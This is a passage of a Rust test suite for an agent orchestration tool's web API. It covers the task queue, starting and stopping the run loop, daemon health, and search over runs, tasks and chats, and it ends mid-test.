19577        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19578        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19579        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19580        let reopened = f
19581            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19582            .await;
19583        assert_eq!(reopened.status, 200, "{}", reopened.body);
19584        let saved = queue.get(&task.id).unwrap();
19585        assert_eq!(saved.status, TaskStatus::Held);
19586        assert_eq!(saved.completion_history.len(), 2);
19587        let event = &saved.completion_history[1];
19588        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19589        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19590        assert_eq!(event.prior_status, TaskStatus::Done);
19591        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19592    }
19593
19594    #[tokio::test]
19595    async fn unknown_ids_are_json_not_found_on_both_stores() {
19596        let f = Fixture::start().await;
19597
19598        let run = f.get("/api/runs/nosuchrun").await;
19599        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19600
19601        assert_eq!(run.status, 404);
19602        assert_eq!(task.status, 404);
19603        assert!(
19604            run.json()["error"]
19605                .as_str()
19606                .is_some_and(|e| e.contains("run")),
19607            "the error names what was not found: {}",
19608            run.body
19609        );
19610        assert!(
19611            task.json()["error"]
19612                .as_str()
19613                .is_some_and(|e| e.contains("task")),
19614            "the error names what was not found: {}",
19615            task.body
19616        );
19617    }
19618
19619    #[tokio::test]
19620    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19621        let f = Fixture::start().await;
19622
19623        let missing = f.get("/api/health").await.json();
19624        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19625
19626        write_daemon(
19627            f.home.path(),
19628            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19629        );
19630        let stale = f.get("/api/health").await.json();
19631        assert_eq!(
19632            stale["daemon"]["running"], false,
19633            "a minute without a heartbeat is a dead daemon, not a busy one"
19634        );
19635        assert!(
19636            stale["daemon"]["stale_for_secs"]
19637                .as_i64()
19638                .is_some_and(|s| s >= 55),
19639            "staleness is reported so the UI can say how long: {stale}"
19640        );
19641
19642        write_daemon(f.home.path(), Timestamp::now());
19643        let fresh = f.get("/api/health").await.json();
19644        assert_eq!(fresh["daemon"]["running"], true);
19645        assert_eq!(fresh["daemon"]["idle"], false);
19646        assert_eq!(fresh["daemon"]["pid"], 4242);
19647        assert_eq!(fresh["daemon"]["completed"], 7);
19648        assert_eq!(
19649            fresh["daemon"]["current"][0]["task"],
19650            "20260902-140501-aaaa"
19651        );
19652        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19653    }
19654
19655    #[tokio::test]
19656    async fn the_loop_is_not_running_until_something_starts_it() {
19657        let f = Fixture::start().await;
19658
19659        let view = f.get("/api/loop").await.json();
19660        assert_eq!(view["running"], false);
19661        assert_eq!(
19662            view["owned"], false,
19663            "nobody owns a loop that does not exist: {view}"
19664        );
19665        assert_eq!(view["stopping"], false);
19666        assert_eq!(view["last_error"], Value::Null);
19667        assert_eq!(view["daemon"]["running"], false);
19668        assert_eq!(
19669            view["repo"], "/repo/magi",
19670            "the repository a start would use, named before it is started"
19671        );
19672    }
19673
19674    #[tokio::test]
19675    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19676        let f = Fixture::start().await;
19677
19678        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19679        assert_eq!(res.status, 200, "{}", res.body);
19680        let view = res.json();
19681        assert_eq!(view["running"], true);
19682        assert_eq!(
19683            view["owned"], true,
19684            "the loop the UI started is the UI's own to stop: {view}"
19685        );
19686        assert_eq!(
19687            view["merge"],
19688            Value::Null,
19689            "no override was given, so each repository's own config decides"
19690        );
19691
19692        // The same object from the route a waking phone polls first. Two
19693        // surfaces disagreeing about whether anything is running is exactly
19694        // the confusion this UI exists to remove.
19695        let health = f.get("/api/health").await.json();
19696        assert_eq!(health["loop"]["running"], true, "{health}");
19697        assert_eq!(health["loop"]["owned"], true, "{health}");
19698
19699        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19700    }
19701
19702    #[tokio::test]
19703    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19704        let f = Fixture::start().await;
19705        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19706        assert_eq!(first.status, 200, "{}", first.body);
19707
19708        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19709        assert_eq!(
19710            again.status, 409,
19711            "two loops on one queue race for the same claims: {}",
19712            again.body
19713        );
19714        assert!(
19715            again.json()["error"]
19716                .as_str()
19717                .is_some_and(|e| e.contains("already running the loop")),
19718            "the refusal has to say why: {}",
19719            again.body
19720        );
19721        assert_eq!(
19722            f.get("/api/loop").await.json()["running"],
19723            true,
19724            "and the loop that was already running is untouched by it"
19725        );
19726
19727        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19728    }
19729
19730    #[tokio::test]
19731    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19732        let f = Fixture::start().await;
19733        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19734
19735        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19736        assert_eq!(
19737            res.status, 200,
19738            "the answer must not wait for the loop: a run in flight is tens of \
19739             minutes and the operator is holding a phone: {}",
19740            res.body
19741        );
19742
19743        let view = settled(&f, |v| v["running"] == false).await;
19744        assert_eq!(view["owned"], false);
19745        assert_eq!(
19746            view["stopping"], false,
19747            "a loop that has stopped is not still stopping: {view}"
19748        );
19749        assert_eq!(
19750            view["last_error"],
19751            Value::Null,
19752            "a loop that was asked to stop did not fail: {view}"
19753        );
19754
19755        // Idempotent, because the operator cannot tell a slow stop from a lost
19756        // one and will press it again.
19757        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19758        assert_eq!(twice.status, 200, "{}", twice.body);
19759    }
19760
19761    #[tokio::test]
19762    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19763        let f = Fixture::start().await;
19764        // How the operator has been doing it: a `magi serve` of their own,
19765        // heartbeat fresh, in the same home this UI reads.
19766        write_daemon(f.home.path(), Timestamp::now());
19767
19768        let view = f.get("/api/loop").await.json();
19769        assert_eq!(view["running"], false, "not in this process: {view}");
19770        assert_eq!(view["owned"], false, "and not this process's to control");
19771        assert_eq!(
19772            view["daemon"]["running"], true,
19773            "but a loop is alive somewhere, which is what the UI must say"
19774        );
19775        assert_eq!(view["daemon"]["pid"], 4242);
19776
19777        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19778            let res = f.post("/api/loop", Some(body)).await;
19779            assert_eq!(
19780                res.status, 409,
19781                "neither button may pretend to work on someone else's loop: {}",
19782                res.body
19783            );
19784            assert!(
19785                res.json()["error"]
19786                    .as_str()
19787                    .is_some_and(|e| e.contains("4242")),
19788                "the refusal has to name the process the operator must go to: {}",
19789                res.body
19790            );
19791        }
19792        assert_eq!(
19793            f.get("/api/loop").await.json()["running"],
19794            false,
19795            "and the refusal started nothing"
19796        );
19797    }
19798
19799    #[tokio::test]
19800    async fn a_stale_status_file_is_not_a_foreign_owner() {
19801        let f = Fixture::start().await;
19802        write_daemon(
19803            f.home.path(),
19804            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19805        );
19806
19807        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19808        assert_eq!(
19809            res.status, 200,
19810            "a daemon killed a minute ago must not lock the loop out of its \
19811             own home for good: {}",
19812            res.body
19813        );
19814        assert_eq!(res.json()["running"], true);
19815
19816        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19817    }
19818
19819    #[tokio::test]
19820    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19821        let f = Fixture::start().await;
19822        let before = f.get("/api/health").await.json()["loop_rev"]
19823            .as_u64()
19824            .expect("a loop revision");
19825
19826        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19827
19828        let after = f.get("/api/health").await.json()["loop_rev"]
19829            .as_u64()
19830            .expect("a loop revision");
19831        assert!(
19832            after > before,
19833            "the loop is in-process state, so this counter is the only thing \
19834             that tells a second device the first one started it: {before} -> \
19835             {after}"
19836        );
19837
19838        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19839    }
19840
19841    #[tokio::test]
19842    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19843        let f = Fixture::with_loop(launch_broken).await;
19844
19845        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19846        assert_eq!(
19847            res.status, 200,
19848            "starting it is not the failure: {}",
19849            res.body
19850        );
19851
19852        let view = settled(&f, |v| v["last_error"].is_string()).await;
19853        assert_eq!(
19854            view["running"], false,
19855            "a loop that died must not read as running, or the operator has \
19856             nothing to press: {view}"
19857        );
19858        assert_eq!(view["owned"], false);
19859        assert!(
19860            view["last_error"]
19861                .as_str()
19862                .is_some_and(|e| e.contains("read-only file system")),
19863            "the phone is where a loop that died at 3am is visible: {view}"
19864        );
19865
19866        // And it can be started again: the corpse was reaped, not left to
19867        // occupy the slot.
19868        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19869        assert_eq!(again.status, 200, "{}", again.body);
19870        assert!(
19871            again.json()["last_error"]
19872                .as_str()
19873                .is_none_or(|e| !e.contains("read-only file system")),
19874            "a fresh start does not keep showing why the last one died: {}",
19875            again.body
19876        );
19877    }
19878
19879    #[tokio::test]
19880    async fn a_newer_daemon_status_file_still_renders() {
19881        let f = Fixture::start().await;
19882        // A field this build has never heard of must not turn the status line
19883        // into a 500; that is the whole reason the reader is permissive.
19884        std::fs::write(
19885            f.home.path().join("daemon.json"),
19886            serde_json::json!({
19887                "schema": 2,
19888                "updated_at": Timestamp::now().to_string(),
19889                "idle": true,
19890                "surprise": { "nested": [1, 2, 3] },
19891            })
19892            .to_string(),
19893        )
19894        .expect("write daemon.json");
19895
19896        let health = f.get("/api/health").await;
19897
19898        assert_eq!(health.status, 200);
19899        assert_eq!(health.json()["daemon"]["running"], true);
19900    }
19901
19902    #[tokio::test]
19903    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19904        let f = Fixture::start().await;
19905        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19906        let broken = f.runs().join("20260902-140502-bad");
19907        std::fs::create_dir_all(&broken).expect("run dir");
19908        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19909
19910        let list = f.get("/api/runs").await;
19911        let detail = f.get("/api/runs/20260902-140502-bad").await;
19912
19913        assert_eq!(list.status, 200);
19914        let listed = list.json();
19915        let ids: Vec<&str> = listed
19916            .as_array()
19917            .expect("an array")
19918            .iter()
19919            .map(|r| r["id"].as_str().expect("an id"))
19920            .collect();
19921        assert_eq!(
19922            ids,
19923            vec!["20260902-140501-good"],
19924            "one unreadable run must not cost the operator the whole history"
19925        );
19926        assert_eq!(detail.status, 500);
19927        assert!(
19928            detail.json()["error"]
19929                .as_str()
19930                .is_some_and(|e| e.contains("run.json")),
19931            "the failure names the file to look at: {}",
19932            detail.body
19933        );
19934        // A skipped run has to be countable somewhere, or the UI shows an
19935        // empty history with nothing to explain it - which is exactly what a
19936        // directory full of older-schema runs looks like.
19937        let health = f.get("/api/health").await;
19938        assert_eq!(health.json()["runs_unreadable"], 1);
19939    }
19940
19941    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19942    #[tokio::test]
19943    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19944        let f = Fixture::start().await;
19945        let runs = f.runs();
19946        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19947        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19948        // Text three levels down, in a shape no current RunState has: an older
19949        // schema must still search.
19950        let path = runs.join("20260902-140502-bbbb").join("run.json");
19951        let mut v: serde_json::Value =
19952            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19953        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19954        std::fs::write(&path, v.to_string()).unwrap();
19955        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19956        std::fs::write(
19957            runs.join("20260902-140503-cccc").join("run.json"),
19958            "{ not json",
19959        )
19960        .unwrap();
19961
19962        let res = f.get("/api/search?scope=runs&q=quokka").await;
19963        assert_eq!(res.status, 200, "{}", res.body);
19964        let v = res.json();
19965        assert_eq!(v["total"], 1, "{v}");
19966        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19967        assert_eq!(v["hits"][0]["field"], "text");
19968        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19969        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19970        assert!(
19971            parts
19972                .iter()
19973                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19974            "{v}"
19975        );
19976        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19977        assert_eq!(
19978            flat, "The Quokka leaks across threads",
19979            "whitespace is collapsed"
19980        );
19981
19982        // Terms are ANDed, across different fields, case-insensitively.
19983        let both = f
19984            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19985            .await
19986            .json();
19987        assert_eq!(both["total"], 1, "{both}");
19988        let neither = f
19989            .get("/api/search?scope=runs&q=quokka%20zebra")
19990            .await
19991            .json();
19992        assert_eq!(neither["total"], 0, "{neither}");
19993        // Everything in the task statement is reachable, not only the row text.
19994        let stmt = f
19995            .get("/api/search?scope=runs&q=mobile%20first")
19996            .await
19997            .json();
19998        assert_eq!(stmt["total"], 2, "{stmt}");
19999        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
20000        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
20001    }
20002
20003    #[test]
20004    fn snippet_ignores_terms_longer_than_the_field() {
20005        let terms = ["ok".to_owned(), "elephant".to_owned()];
20006        let parts = snippet_of("ok", &terms);
20007        assert_eq!(
20008            parts,
20009            vec![SnippetPart {
20010                text: "ok".to_owned(),
20011                hit: true
20012            }]
20013        );
20014    }
20015
20016    #[test]
20017    fn snippet_marks_matches_longer_than_the_window() {
20018        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
20019        let hit_len = |parts: &[SnippetPart]| -> usize {
20020            parts
20021                .iter()
20022                .filter(|p| p.hit)
20023                .map(|p| p.text.chars().count())
20024                .sum()
20025        };
20026        let total =
20027            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
20028
20029        let long = "a".repeat(120);
20030        let parts = snippet_of(&long, std::slice::from_ref(&long));
20031        assert!(hit_len(&parts) > 0, "{parts:?}");
20032        assert!(total(&parts) <= cap);
20033
20034        let ja = "あ".repeat(130);
20035        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
20036        assert!(hit_len(&parts) > 0, "{parts:?}");
20037        assert!(total(&parts) <= cap);
20038
20039        // A short hit, then one straddling the window's end.
20040        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
20041        let term = format!("ab{}", "c".repeat(100));
20042        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
20043        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
20044        assert!(total(&parts) <= cap);
20045
20046        // Only the head matches: not highlighted.
20047        let text = format!("{}z", "a".repeat(119));
20048        let parts = snippet_of(&text, &["a".repeat(120)]);
20049        assert_eq!(hit_len(&parts), 0, "{parts:?}");
20050    }
20051
20052    #[tokio::test]
20053    async fn search_caps_hits_and_snippet_length() {
20054        let f = Fixture::start().await;
20055        let runs = f.runs();
20056        for n in 0..(SEARCH_MAX_HITS + 5) {
20057            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
20058        }
20059        let v = f.get("/api/search?scope=runs&q=web").await.json();
20060        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
20061        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
20062        assert_eq!(v["truncated"], true);
20063        // Every listed run hit carries its list row for the page's filters.
20064        assert!(
20065            v["hits"]
20066                .as_array()
20067                .unwrap()
20068                .iter()
20069                .all(|h| h["run"]["status"] == "merged")
20070        );
20071
20072        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20073        let parts = snippet_of(&long, &["needle".to_owned()]);
20074        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20075        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20076        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20077    }
20078
20079    #[tokio::test]
20080    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20081        let f = Fixture::start().await;
20082        let queue = f.queue();
20083        let mut t = Task::new(
20084            "short title".to_owned(),
20085            "line one\nthe hidden Armadillo detail".to_owned(),
20086            PathBuf::from("/repo/magi"),
20087            Source::Agent {
20088                run: "r1".to_owned(),
20089                node: "chat".to_owned(),
20090            },
20091        );
20092        t.last_error = Some("disk full on /tmp".to_owned());
20093        queue.put(&mut t).expect("file the task");
20094
20095        for (q, want) in [
20096            ("armadillo", 1),
20097            ("disk%20FULL", 1),
20098            ("chat", 1),
20099            ("queued", 1),
20100            ("short%20nothing", 0),
20101        ] {
20102            let v = f
20103                .get(&format!("/api/search?scope=tasks&q={q}"))
20104                .await
20105                .json();
20106            assert_eq!(v["total"], want, "{q}: {v}");
20107        }
20108        for bad in [
20109            "/api/search?scope=tasks&q=",
20110            "/api/search?scope=tasks&q=%20",
20111            "/api/search?scope=chats&q=",
20112            "/api/search?scope=chats&q=%20",
20113            "/api/search?scope=nope&q=a",
20114            "/api/search?q=a",
20115        ] {
20116            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20117        }
20118    }
20119
20120    /// Write one conversation file the way the store reads it back.
20121    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20122        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20123            .expect("seat value");
20124        let turns: Vec<serde_json::Value> = turns
20125            .iter()
20126            .map(|(who, body)| {
20127                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20128            })
20129            .collect();
20130        let doc = serde_json::json!({
20131            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20132            "status": status, "turns": turns,
20133            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20134            "seat": seat,
20135        });
20136        let dir = f.home.path().join("talks");
20137        std::fs::create_dir_all(&dir).expect("talks dir");
20138        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20139    }
20140
20141    #[test]
20142    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20143        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20144            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20145            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20146            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20147            "seat": crate::agent::SeatState::new("talk", "test", 1)
20148        })).unwrap();
20149        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20150        talk.title = Some(talk::ChatTitle {
20151            text: "最近の話題".into(),
20152            source: talk::TitleSource::Generated,
20153        });
20154        let doc = talk_search_doc(&talk);
20155        assert_eq!(doc["title"], "最近の話題");
20156        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20157        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20158        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20159    }
20160
20161    #[test]
20162    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20163        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20164        talk.title = Some(talk::ChatTitle {
20165            text: "Saved title".into(),
20166            source: talk::TitleSource::Manual,
20167        });
20168        talk.turns = serde_json::from_value(serde_json::json!([
20169            {
20170                "who": "operator", "sender": "external", "body": "External plain",
20171                "at": "2026-09-08T20:58:02Z"
20172            },
20173            {
20174                "who": "operator", "body": "External message",
20175                "at": "2026-09-08T20:58:03Z",
20176                "messages": [{
20177                    "sender": "external", "body": "External message", "attachments": []
20178                }]
20179            }
20180        ]))
20181        .unwrap();
20182        let doc = talk_search_doc(&talk);
20183        assert_eq!(doc["turns"][0]["external"], "External plain");
20184        assert_eq!(doc["turns"][1]["external"], "External message");
20185        assert!(doc["turns"][0].get("operator").is_none());
20186        assert!(doc["turns"][1].get("operator").is_none());
20187        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20188        assert_eq!(hit.field, "external");
20189        let target = hit.target.unwrap();
20190        assert_eq!((target.turn, target.message), (1, 0));
20191    }
20192
20193    #[test]
20194    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20195        let talk: Talk = serde_json::from_value(serde_json::json!({
20196            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20197            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20198            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20199                "messages":[{"body":"First message", "attachments":[], "reply":null},
20200                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20201                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20202            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20203            "seat": crate::agent::SeatState::new("talk", "test", 1)
20204        })).unwrap();
20205        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20206        let target = hit.target.unwrap();
20207        assert_eq!((target.turn, target.message), (0, 1));
20208        assert_eq!(target.text, chat_text_key("Search 運用"));
20209        assert_eq!(
20210            hit.snippet,
20211            snippet_of("Search 運用", &search_terms("運用 Another"))
20212        );
20213        assert!(
20214            search_chat(&search_terms("Saved"), &talk)
20215                .unwrap()
20216                .target
20217                .is_none()
20218        );
20219        assert!(
20220            search_chat(&search_terms("ab12"), &talk)
20221                .unwrap()
20222                .target
20223                .is_none()
20224        );
20225        // All terms may still match across separate display rows.
20226        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20227        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20228    }
20229
20230    #[test]
20231    fn chat_search_targets_opener_derived_titles() {
20232        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20233            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20234            "status": "open", "turns": [
20235                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20236                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20237                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20238            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20239            "seat": crate::agent::SeatState::new("talk", "test", 1)
20240        }))
20241        .unwrap();
20242        let terms = search_terms("運用");
20243        let hit = search_chat(&terms, &talk).unwrap();
20244        assert_eq!(hit.field, "title");
20245        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20246        let target = hit.target.unwrap();
20247        assert_eq!((target.turn, target.message), (1, 0));
20248        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20249        // A blank first send can put the opener line in a later display row.
20250        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20251            {"body":"", "attachments":[], "reply":null},
20252            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20253        ]))
20254        .unwrap();
20255        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20256        assert_eq!((target.turn, target.message), (1, 1));
20257        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20258        talk.title = Some(talk::ChatTitle {
20259            text: "運用について".into(),
20260            source: talk::TitleSource::Manual,
20261        });
20262        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20263    }
20264
20265    #[tokio::test]
20266    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20267        let f = Fixture::start().await;
20268        write_talk(
20269            &f,
20270            "20260901-000001-aaaa",
20271            "open",
20272            &[
20273                (
20274                    "operator",
20275                    "\n  Why does the Pangolin cache expire?\nsecond line",
20276                ),
20277                ("agent", "Because the TTL is thirty seconds."),
20278            ],
20279        );
20280        write_talk(
20281            &f,
20282            "20260901-000002-bbbb",
20283            "closed",
20284            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20285        );
20286        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20287
20288        let search = |q: &'static str| {
20289            let f = &f;
20290            async move {
20291                f.get(&format!("/api/search?scope=chats&q={q}"))
20292                    .await
20293                    .json()
20294            }
20295        };
20296
20297        let v = search("PANGOLIN").await;
20298        assert_eq!(v["scope"], "chats");
20299        assert_eq!(v["total"], 1, "{v}");
20300        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20301        assert_eq!(v["hits"][0]["field"], "title");
20302        assert_eq!(v["unreadable"], 1, "{v}");
20303        let marked: Vec<&str> = v["hits"][0]["snippet"]
20304            .as_array()
20305            .unwrap()
20306            .iter()
20307            .filter(|p| p["hit"] == true)
20308            .map(|p| p["text"].as_str().unwrap())
20309            .collect();
20310        assert_eq!(marked, ["Pangolin"]);
20311
20312        // An agent turn, in a closed conversation.
20313        let v = search("zebra").await;
20314        assert_eq!(v["total"], 1, "{v}");
20315        assert_eq!(v["hits"][0]["field"], "agent");
20316        // Words may sit in different turns; all must be present.
20317        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20318        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20319        // Bookkeeping is not searched.
20320        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20321            assert_eq!(search(q).await["total"], 0, "{q}");
20322        }
20323        // The first line only is the title; the second line is still a turn.
20324        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20325        // Open conversations are listed before closed ones.
20326        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20327
20328        let v = f.get("/api/search?scope=nope&q=a").await;
20329        assert_eq!(v.status, 400);
20330        assert!(
20331            v.body.contains("scope must be runs, tasks or chats"),
20332            "{}",
20333            v.body
20334        );
20335    }
20336
20337    #[test]
20338    fn a_question_card_links_a_task_id_to_the_task_page() {
20339        let start = APP_JS
20340            .find("function updateAskCard(")
20341            .expect("updateAskCard exists");
20342        let body = &APP_JS[start..];
20343        let body = &body[..body.find("\n}\n").expect("function end")];
20344        assert!(body.contains("question.run_is_task"));
20345        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20346        assert!(body.contains("`#/runs/${question.run}`"));
20347        assert!(body.contains("\"task\" : \"run\""));
20348    }
20349
20350    #[test]
20351    fn plain_text_message_surfaces_go_through_linkify() {
20352        assert!(APP_JS.contains("function linkify("));
20353        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20354        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20355        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20356        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20357        assert!(!APP_JS.contains("innerHTML = text"));
20358    }
20359
20360    #[test]
20361    fn implementation_rate_views_keep_independent_samples() {
20362        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20363            let a = stats::AgentStats {
20364                competitive_entered: competitive_n,
20365                competitive_wins: usize::from(competitive_n > 0),
20366                solo_entered: solo_n,
20367                solo_adopted: 2 * usize::from(solo_n > 0),
20368                ..Default::default()
20369            };
20370            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20371            for (key, n, numerator) in [
20372                ("competitive_win_rate", competitive_n, a.competitive_wins),
20373                ("solo_adoption_rate", solo_n, a.solo_adopted),
20374            ] {
20375                if n == 0 {
20376                    assert!(v[key].is_null());
20377                } else {
20378                    assert_eq!(v[key]["denominator"], n);
20379                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20380                }
20381            }
20382        }
20383        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20384        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20385        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20386        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20387    }
20388
20389    #[test]
20390    fn stats_bars_share_one_id_keyed_plan() {
20391        let start = APP_JS
20392            .find("function statsBarRows(")
20393            .expect("statsBarRows exists");
20394        let body = &APP_JS[start..];
20395        let body = &body[..body.find("\n}\n").expect("function end")];
20396        assert!(body.contains("statsBarPlan(rows)"));
20397        assert!(body.contains("statsAgentTone(row.agent)"));
20398        assert!(!body.contains("candTone(i)"));
20399        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20400        for root in [
20401            "stats-agents-bars",
20402            "stats-solo-bars",
20403            "stats-reviewers-bars",
20404        ] {
20405            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20406        }
20407    }
20408
20409    #[test]
20410    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20411        let start = APP_JS
20412            .find("function renderStatsReviewerScatter(")
20413            .expect("renderStatsReviewerScatter exists");
20414        let body = &APP_JS[start..];
20415        let body = &body[..body.find("\n}\n").expect("function end")];
20416        assert!(body.contains("statsScatterPlan(reviewers)"));
20417        assert!(body.contains("statsAgentTone(d.agent)"));
20418        assert!(APP_JS.contains("function statsScatterPlan("));
20419        assert!(
20420            APP_JS.contains("d.submitted < STATS_LOW_N")
20421                || APP_JS.contains("r.submitted < STATS_LOW_N")
20422        );
20423        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
